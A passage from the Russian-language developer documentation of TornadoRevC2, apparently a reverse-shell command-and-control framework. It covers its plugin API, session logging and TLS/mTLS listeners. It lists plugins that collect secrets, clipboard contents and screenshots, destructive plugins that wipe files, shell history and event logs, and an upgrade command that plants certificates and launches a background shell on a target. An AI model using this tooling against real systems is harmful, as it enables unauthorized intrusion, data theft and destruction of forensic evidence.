| Ключ | Тип | Назначение |
|-----|------|---------|
| `summary` | `dict` | Высокоуровневые счётчики и статистика; отображается первым с помощью `format_generic_report()` |
| `error` | `str` | **Жёсткий сбой** — средство запуска выводит ошибку и возвращает код выхода 1 |
| `traceback` | `str` | Необязательно; регистрируется как деталь, когда установлен `error` |
| `reason` | `str` | **Мягкий сбой** — используйте с пользовательскими форматтерами (например, буфер обмена недоступен) |
| `ok` | `bool` | Флаг успеха для операционных плагинов (снимок экрана, буфер обмена) |
| Списки `dict` | `list` | Отображаются как таблицы с помощью `format_generic_report()` |
| Списки `str` | `list` | Отображаются как маркированные списки |
| Вложенный `dict` | `dict` | Отображается как разделы с метками |
**Плавная деградация:** Для многосекционной перечисления используйте отдельные ключи словаря для каждой секции и перехватывайте исключения локально. Не устанавливайте `error` верхнего уровня, если только весь коллектор не завершился сбоем — частичные результаты предпочтительнее.```python
result = {"summary": {}, "ufw": {}, "iptables": {}}
# Each backend probed independently; failures leave that section empty
Передайте пользовательский форматтер в run_collector_plugin вместо format_generic_report:```python
from tornadorevc2.plugins.shared.common import format_section, format_list_section
def format_firewall_report(data: dict) -> str: sections = [] summary = data.get("summary") or {} if summary: sections.append(format_section("Summary", summary)) for key in ("ufw", "iptables", "windows_defender_firewall"): block = data.get(key) if isinstance(block, dict) and block: sections.append(format_section(key.replace("_", " ").title(), block)) if not sections: return "Firewall: no data collected." return "\n\n".join(sections)
Переиспользуемые вспомогательные функции в `plugins/shared/common.py`:
| Функция | Назначение |
|----------|---------|
| `format_generic_report(data, title='Results')` | Рендерер таблиц/секций по умолчанию |
| `format_section(title, fields, width=22)` | Секция «ключ-значение» |
| `format_list_section(title, items, empty='(none)')` | Маркированный список |
| `format_table_section(title, rows, columns)` | Строки словаря как столбцы |
| `format_firewall_report`, `format_memorymap_report`, etc. | Форматтеры для конкретных плагинов |
### Платформозависимые плагины
**Только для Windows:**```python
@plugin.command(name="rdp", platforms=["windows"], description="...")
def run(session: SessionContext, args):
return run_collector_plugin(
session, "rdp",
None, # no Linux builder
build_command,
format_generic_report,
timeout=35.0,
)
Только для Linux:```python @plugin.command(name="cron", platforms=["linux", "unix"], description="...") def run(session: SessionContext, args): return run_collector_plugin( session, "cron", build_linux_command, None, # no Windows builder format_generic_report, timeout=30.0, )
**Кроссплатформенность с раздельными сборщиками:**
Некоторые общие плагины делегируют работу модулям сборки для конкретных платформ (например, `virtualization` импортирует из `linux/virtualization.py` и `windows/virtualization.py`). Точка входа `@plugin.command` остаётся в `shared/`; модули сборки в `linux/` или `windows/` не содержат декоратора и не регистрируются как независимые плагины.
### Внешние плагины
Внешние плагины позволяют расширять TornadoRevC2 без изменения репозитория.
**Настройка:**```bash
# Default location (created automatically if missing)
./plugins/myplugin.py
# Or set a custom directory
export TORNADOREVC2_PLUGIN_DIR=/path/to/my/plugins
Рабочий процесс:```bash
plugins load myplugin # import and register commands plugins info myplugin # verify name, platforms, description, module path run myplugin 1 # execute against session 1 run myplugin 1 --verbose # extra args passed to handler as args=["--verbose"] plugins reload myplugin # re-import after editing (clears stale registrations) plugins unload myplugin # fully unload external plugin
**Внешний и встроенный жизненный цикл:**
| Действие | Встроенный плагин | Внешний плагин |
|--------|-----------------|-----------------|
| `plugins unload` | Мягко отключён (модуль остаётся импортированным) | Полностью выгружен и снят с регистрации |
| `plugins reload` | Повторно импортирует модуль, очищает устаревшие регистрации команд | Удаляет из `sys.modules`, повторно импортирует с диска |
| Запуск | Автоматически загружается | Загружается по требованию |
Внешние модули импортируются как `tornado_ext_plugin_<name>` во избежание конфликтов пространств имён.
### API SessionContext
Каждый обработчик получает `SessionContext`, обёртывающий обработчик и клиентский сокет:
**Свойства метаданных:**
| Свойство | Тип | Описание |
|----------|------|-------------|
| `session_id` | `str` | Назначенный идентификатор сессии |
| `platform` | `str` | `unix`, `windows` или `unknown` |
| `is_windows` / `is_unix` | `bool` | Удобные флаги платформы |
| `sysinfo` | `dict` | Кэшированная информация о хосте из сбора `sysinfo` |
| `identity` | `dict` | Метаданные идентичности/отпечатка сессии |
| `addr` | `tuple` | Удалённый адрес |
| `tls` | `bool` | Использует ли сессия TLS |
| `name` | `str` | Понятное имя, назначенное оператором |
| `fingerprint` | `str` | Стабильный отпечаток хоста |
| `logger` | `SessionLogger` | Записывающее устройство логов для сессии (может быть `None`) |
| `colors` | `dict` | Коды цветов консоли |
| `socket` | socket | Необработанный клиентский сокет (для продвинутого использования) |
**Методы выполнения:**
| Метод | Описание |
|--------|-------------|
| `run_shell(cmd, timeout=15.0)` | Отправить команду, дождаться вывода, вернуть строку |
| `run_shell_streaming(cmd, timeout, idle_timeout, on_chunk)` | Потоковый вывод с обнаружением простоя; полезно для длительных команд |
| `run_marked(unix_cmd, win_ps_script, timeout, start_mark, end_mark, strip_ws)` | Выполнить команду, соответствующую платформе, и извлечь помеченную полезную нагрузку |
| `get_cwd()` | Вернуть удалённый рабочий каталог |
| `collect_sysinfo(mode='stealth')` | Запустить сбор информации о хосте |
**Методы передачи:**
| Метод | Описание |
|--------|-------------|
| `upload(local_path, remote_path, resume=False)` | Загрузить файл на цель |
| `download(remote_path, local_path, resume=False)` | Скачать файл с цели |
| `verify_remote(remote_path)` | Проверить размер удалённого файла и SHA-256 |
**Логирование и вывод:**
| Метод | Описание |
|--------|-------------|
| `print(text, color=None)` | Вывести в консоль оператора с опциональным цветом (`red`, `green`, `yellow`, `cyan`) |
| `log_event(message)` | Добавить событие с меткой времени в `session.log` |
| `log_command(cmd, output)` | Записать команду и вывод в `session.log` |
| `log_plugin_result(name, report, detail='')` | Записать отчёт в `logs/<session>/plugins/<name>_<timestamp>.log` |
### Обработка ошибок и коды возврата
| Возврат | Значение | Поведение обработчика |
|--------|---------|------------------|
| `0` | Успех | Предупреждение не отображается |
| `1` (или любое ненулевое) | Ошибка | Жёлтое предупреждение: `Plugin 'name' returned code N` |
| Неперехваченное исключение | Ошибка | Красное сообщение об ошибке; записывается в лог сессии |
**Режимы отказа коллектора** (обрабатываются `run_collector_plugin`):
| Условие | Поведение |
|-----------|----------|
| Тайм-аут / нет маркеров в выводе | Выход 1, запись "no response" |
| Вывод не является допустимым JSON | Выход 1, запись необработанного вывода (усечённого) как detail |
| Присутствует `data["error"]` | Выход 1, вывод ошибки и трассировки |
| Частичные отказы секций | **Не** должны устанавливать `error` верхнего уровня; оставить секцию пустой |
**Мягкие отказы** (операционные плагины): используйте `reason` или `ok: false` и обрабатывайте в пользовательском форматтере или обработчике, а не полагайтесь на жёсткую проверку `error` раннера.
### Лучшие практики
1. **Предпочитайте нативные команды ОС** вместо загружаемых инструментов — это соответствует дизайну фреймворка с минимальными зависимостями.
2. **Не записывайте файлы на цели** для перечисления; возвращайте данные через канал оболочки. Операционные плагины (wiper, historydel) являются исключениями с чётким назначением.
3. **Деградируйте изящно** — проверяйте каждый бэкенд независимо; пустые секции лучше полного отказа.
4. **Ограничивайте размер вывода** — обрезайте списки до 50–80 элементов; усекайте длинные строки до 200–500 символов.
5. **Устанавливайте реалистичные тайм-ауты** — быстрые проверки: 15–30 с; полное перечисление: 45–75 с.
6. **Логируйте последовательно** — вызывайте `session.log_event()` в начале, `session.log_plugin_result()` по завершении, `session.log_command()` для экспорта транскрипта.
7. **Проверяйте аргументы заранее** — возвращайте 1 с сообщением об использовании перед отправкой чего-либо на цель.
8. **Тестируйте из обеих консолей** — основной обработчик (`run plugin <ID>`) и присоединённая сессия (`switch`, затем `run plugin`).
9. **Используйте `plugins reload`** во время разработки, чтобы подхватывать изменения без перезапуска обработчика.
10. **Удаляйте чувствительные маркеры** из собранного вывода, если ваш плагин читает произвольное содержимое файлов.
### Эталонные реализации
| Плагин | Файл | Шаблон | Примечания |
|--------|------|---------|-------|
| `firewall` | `plugins/shared/firewall.py` | Кроссплатформенный коллектор | Многобэкендовая изящная деградация |
| `ports` | `plugins/shared/ports.py` | Кроссплатформенный коллектор | Нативные `ss` / `Get-NetTCPConnection` |
| `history` | `plugins/shared/history.py` | Кроссплатформенный коллектор | Сборщики Linux Python + Windows PowerShell |
| `memorymap` | `plugins/shared/memorymap.py` | Пользовательский обработчик | Аргумент PID, динамический сборщик |
| `screenshot` | `plugins/shared/screenshot.py` | Пользовательский обработчик | Base64 в JSON; сохранение PNG на стороне оператора |
| `clipboard` | `plugins/shared/clipboard.py` | Пользовательский обработчик | Мягкий отказ через поле `reason` |
| `historydel` | `plugins/shared/historydel.py` | Пользовательский обработчик | Деструктивный; очистка оболочки после сбора |
| `wiper` | `plugins/shared/wiper.py` | Пользовательский обработчик | Деструктивный; проверка аргумента пути |
| `services` | `plugins/windows/services.py` | Коллектор только для Windows | Минимальная точка входа |
| `eventlogdel` | `plugins/windows/eventlogdel.py` | Коллектор только для Windows | Деструктивный; отчёт об отказах по каждому журналу |
| `rdp` | `plugins/windows/rdp.py` | Коллектор только для Windows | Перечисление реестра и брандмауэра |
| `virtualization` | `plugins/shared/virtualization.py` | Общая точка входа + раздельные сборщики | Импортирует сборщики `linux/` и `windows/` |
| `secrets` | `plugins/linux/secrets.py` | Коллектор только для Linux | Листинг с ограничением по платформе |
Для новых плагинов перечисления начните с `run_collector_plugin` в `plugins/shared/runner.py` и скопируйте структуру из `firewall.py` или `ports.py`. Для плагинов с аргументами или побочными эффектами обратитесь к `memorymap.py` или `wiper.py`.
---
## Логирование сессий
Каждая сессия записывает в изолированный каталог в `logs/`:```text
logs/001_user@hostname_192.168.1.10_unix_10-08-2026_143022/
session.log Operator commands and console output
sysinfo.json Host information snapshot
transfers/ Upload and download event logs
executions/ In-memory payload execution metadata
plugins/ Plugin reports and collector output
quickenum_20260812_054812.log
firewall_20260812_055130.log
screenshot_20260812_055412.png
Журналы плагина содержат отчёт, удобочитаемый для человека, и, когда это применимо, необработанные данные JSON, возвращённые удалённым сборщиком.
TornadoRevC2/ ├── tornadorevc2.py Entry point ├── tornadorevc2/ │ ├── handler.py Listeners, sessions, operator console │ ├── updater.py Git-based self-update and restart │ ├── sysinfo.py Host information collection │ ├── terminal.py PTY/TTY management │ ├── transfer.py Chunked file transfers │ ├── tunnel.py SOCKS5 pivoting │ ├── remote_exec.py Remote command builders │ ├── win_client.py Windows shell detection and script delivery │ ├── session_registry.py Session persistence and reconnect logic │ ├── session_log.py Per-session directory logging │ ├── export.py HTML transcript export │ ├── payloads.py Built-in payload catalog │ └── plugins/ │ ├── api.py SessionContext and plugin registration │ ├── manager.py Plugin lifecycle and execution │ ├── loader.py Module discovery │ ├── shared/ Cross-platform plugins │ ├── linux/ Linux/Unix-only plugins │ └── windows/ Windows-only plugins ├── plugins/ Optional external plugin directory └── logs/ Session output (created at runtime)
---
## Конфигурация TLS и mTLS
TornadoRevC2 запускает три изолированных слушателя, каждый со своим источником сертификатов. Всё в `tls_certs/` и `mtls_certs/` автоматически генерируется при первом запуске и никогда не перезаписывается.
| Слушатель | Порт | Аутентификация клиента | Сертификаты |
|----------|------|-------------|--------------|
| TCP | `4444` | нет | — |
| TLS | `8443` | только сервер | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | взаимная (требуется сертификат клиента) | пакет `mtls_certs/` |
### TLS
Автоматически генерируется как самоподписанная пара (`CN=localhost`, RSA-2048, 3650 дней).
Чтобы использовать собственные:```bash
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 \
-c tls_certs/server.pem -k tls_certs/server.key
Если клиент подключается по IP-адресу, сертификат сервера должен включать этот IP в Subject Alternative Name (SAN). Избегайте отключения проверки имени хоста, если для этого нет особой причины.
При первом запуске под mtls_certs/ создаётся полная PKI:
ca.pem / ca.key — самоподписанный CA (RSA-4096, CN=TornadoRevC2-mTLS-CA)server-mtls.pem / server-mtls.key — сертификат сервера, подписанный CAclient.pem / client.key — сертификат клиента, подписанный CAca.srl — счётчик серийных номеров OpenSSL, создаваемый при подписывании сертификатаПередайте client.pem + client.key + ca.pem вместе с авторизованным клиентом. Клиент должен предъявить свой сертификат при подключении, иначе рукопожатие будет отклонено.
Начните с явных путей:```bash
python tornadorevc2.py -H 0.0.0.0 -mp 9443
--mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key
--mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key
--mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key
### Обновление активной сессии до mTLS
Существующие сессии на простом TCP или TLS с аутентификацией сервера можно перевести на mTLS-листенер без перезапуска обработчика. Плагин `upgrade_mtls` загружает `client.pem`, `client.key` и `ca.pem` на цель, запускает фоновую оболочку, которая предъявляет клиентский сертификат, и (по умолчанию) удаляет пакет с диска после установления новой сессии.```bash
# From the main handler prompt
run upgrade_mtls 1 --port 9443 --host 10.10.14.7
run upgrade_mtls 1 --keep-bundle # leave certs on disk after launch
run upgrade_mtls 1 --no-upload # certificate bundle already uploaded manually
# From inside an attached session (switch 1)
run upgrade_mtls
| Флаг | По умолчанию |
|---|---|
-H / --host | 0.0.0.0 |
-p / --port | 4444 |
-tp / --tls-port | 8443 |
-mp / --mtls-port | 9443 |
-c / --cert, -k / --key | tls_certs/server.{pem,key} |
--mtls-ca-cert / --mtls-ca-key | mtls_certs/ca.{pem,key} |
--mtls-server-cert / --mtls-server-key | mtls_certs/server-mtls.{pem,key} |
--mtls-client-cert / --mtls-client-key | mtls_certs/client.{pem,key} |
Этот проект лицензирован под GNU General Public License v3.0.